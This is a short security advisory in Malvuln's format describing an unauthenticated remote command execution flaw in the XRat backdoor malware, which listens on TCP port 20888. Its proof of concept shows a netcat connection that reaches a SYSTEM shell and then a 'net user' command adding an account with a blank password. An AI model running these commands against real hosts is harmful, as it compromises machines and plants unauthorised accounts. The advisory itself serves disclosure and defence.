Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.XRat.d  
Vulnerability: Unauthenticated Remote Command Execution  
Description: XRat malware runs with SYSTEM integrity and listens on TCP port 20888. Third-party attackers who can reach the system can connect, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.  
Type: PE32  
MD5: dc77b126b205b0f671e505766c607ef1  
Vuln ID: MVID-2021-0242  
Dropped files: svhost.exe  
Disclosure: 06/08/2021  
nc64.exe 20888  
"X-Rat System Console" v2.0  
Status Ready, Client:  
Microsoft Windows [Version 10.0.16299.309]  
(c) 2017 Microsoft Corporation. All rights reserved.  
nt authority\system  
C:\WINDOWS\system32>net user hyp3rlinx "" /add  
The command completed successfully.  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).